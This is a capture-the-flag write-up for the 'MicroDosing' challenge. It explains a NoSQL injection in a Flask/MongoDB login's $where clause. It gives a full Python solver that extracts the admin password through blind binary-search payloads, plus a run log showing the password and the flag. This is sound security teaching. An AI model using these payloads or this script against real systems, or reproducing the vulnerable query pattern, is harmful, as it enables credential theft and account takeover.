Flash CTF - MicroDosing

Challenge Overview

MicroDosing is a web application that looks like a legitimate medication titration research platform. It's got a clean interface and realistic functionality, but there's a NoSQL injection vulnerability in the login system. What makes this interesting is that it's not your typical injection challenge - you can't just use simple boolean injection to bypass authentication.

Challenge Analysis

Application Structure

The app is built with Flask and MongoDB. It has:

  • User registration and login
  • Research data dashboard
  • Admin panel (where the flag is)

Key Constraints

  1. Character Limit: Input fields are limited to 40 characters (but this barely matters)
  2. Boolean Injection Protection: Simple boolean injection is blocked
  3. Password Extraction Required: You need to extract the actual admin password
  4. Blind Injection Only: We can diferentiate true and false, but we don't get any NoSQL output directly

Vulnerability Analysis

The NoSQL Injection Point

The bug is in the login endpoint (/login) where user input gets concatenated into a MongoDB $where clause:

query = { '$where': f"this.username == '{username}' && this.password == '{password}'"}

This gives us a NoSQL injection, but there's a catch:

if user: # They check that the returned user matches the input exactly if user['username'] == username and user['password'] == password: # Login successful else: flash('Something went wrong.', 'error')

Why Simple Boolean Injection Doesn't Work

The app does two checks:

  1. Database Query: Uses your injected $where clause to find users
  2. Application Check: Makes sure the returned user's credentials match your input exactly

So if you try '||1==1||', it'll find the admin user but fail the second check and give you "Something went wrong" instead of access to the admin account.

Exploitation Strategy

Phase 1: Character-by-Character Password Extraction

Since we need the actual admin password, we have to extract it character by character. I used binary search to make this efficient:

def extract_password(base_url, session): """Extract admin password using binary search""" print("[+] Extracting admin password...") charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+") password = "" pos = 0 while True: print(f"[+] Position {pos}: ", end="") # Binary search for character left, right = 0, len(charset) - 1 while left <= right: mid = (left + right) // 2 char = charset[mid] payload = f"admin' && this.password[{pos}]<'{char}' || '" if len(payload) > 40: continue result = test_injection(payload, base_url, session) if result == "USER_FOUND": right = mid - 1 else: left = mid + 1 # Find exact character if left < len(charset): exact_char = charset[left] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue # Try character before left position if left > 0: exact_char = charset[left - 1] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue print("End of password") break return password

Phase 2: Response Analysis

The exploit checks response patterns to see if injection worked:

def test_injection(payload, base_url, session): """Test a NoSQL injection payload and return response type""" try: data = { 'username': payload, 'password': 'anything' } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'Something went wrong' in response.text: return "USER_FOUND" else: return "NO_USER" except Exception as e: return "ERROR"

The Complete Exploit

#!/usr/bin/env python3import requestsimport stringimport reimport sysdef test_injection(payload, base_url, session): """Test a NoSQL injection payload and return response type""" try: data = { 'username': payload, 'password': 'anything' } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'Something went wrong' in response.text: return "USER_FOUND" else: return "NO_USER" except Exception as e: return "ERROR"def extract_password(base_url, session): """Extract admin password using binary search""" print("[+] Extracting admin password...") charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+") password = "" pos = 0 while True: print(f"[+] Position {pos}: ", end="") # Binary search for character left, right = 0, len(charset) - 1 while left <= right: mid = (left + right) // 2 char = charset[mid] payload = f"admin' && this.password[{pos}]<'{char}' || '" if len(payload) > 40: continue result = test_injection(payload, base_url, session) if result == "USER_FOUND": right = mid - 1 else: left = mid + 1 # Find exact character if left < len(charset): exact_char = charset[left] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue # Try character before left position if left > 0: exact_char = charset[left - 1] exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '" if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND": password += exact_char print(f"Found '{exact_char}'") pos += 1 continue print("End of password") break return passworddef login_and_get_flag(base_url, session, password): """Login as admin and get the flag""" print(f"[+] Logging in as admin with password: {password}") data = { 'username': 'admin', 'password': password } response = session.post(f"{base_url}/login", data=data, timeout=10) if 'dashboard' in response.text or 'redirect' in response.text: print("[+] Login successful!") # Get flag from admin panel response = session.get(f"{base_url}/admin", timeout=10) matches = re.findall(r'MetaCTF\{[^}]+\}', response.text, re.IGNORECASE) for match in matches: print(f"[+] Flag: {match}") return match print("[-] Flag not found") return None else: print("[-] Login failed") return Nonedef main(): if len(sys.argv) != 2: print("Usage: python solve.py <target_url>") print("Example: python solve.py http://localhost:5000") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = requests.Session() print(f"[+] Target: {base_url}") print() # Extract password password = extract_password(base_url, session) if not password: print("[-] Failed to extract password") sys.exit(1) print(f"[+] Extracted password: {password}") print() # Login and get flag flag = login_and_get_flag(base_url, session, password) if not flag: print("[-] Failed to get flag") sys.exit(1) print("[+] Exploitation successful!")if __name__ == "__main__": main()

Execution Flow

  1. Password Extraction: Use binary search to extract admin password character by character
  2. Authentication: Login with the extracted credentials
  3. Flag Retrieval: Access the admin panel to retrieve the flag

Execution Example

$ python3 solve.py http://localhost:5000

[+] Target: http://localhost:5000

[+] Extracting admin password...
[+] Position 0: Found '9'
[+] Position 1: Found 'b'
[+] Position 2: Found '0'
[+] Position 3: Found '1'
[+] Position 4: Found 'a'
[+] Position 5: Found 'c'
[+] Position 6: Found 'c'
[+] Position 7: Found '8'
[+] Position 8: Found '6'
[+] Position 9: Found '2'
[+] Position 10: Found 'c'
[+] Position 11: Found '5'
[+] Position 12: Found '7'
End of password

[+] Extracted password: 9b01acc862c57

[+] Logging in as admin with password: 9b01acc862c57
[+] Login successful!
[+] Flag: MetaCTF{n0_sql_bu7_c3r74inly_4n_inj3ct7i0n}

[+] Exploitation successful!

Interested in joining our team? Let’s connect!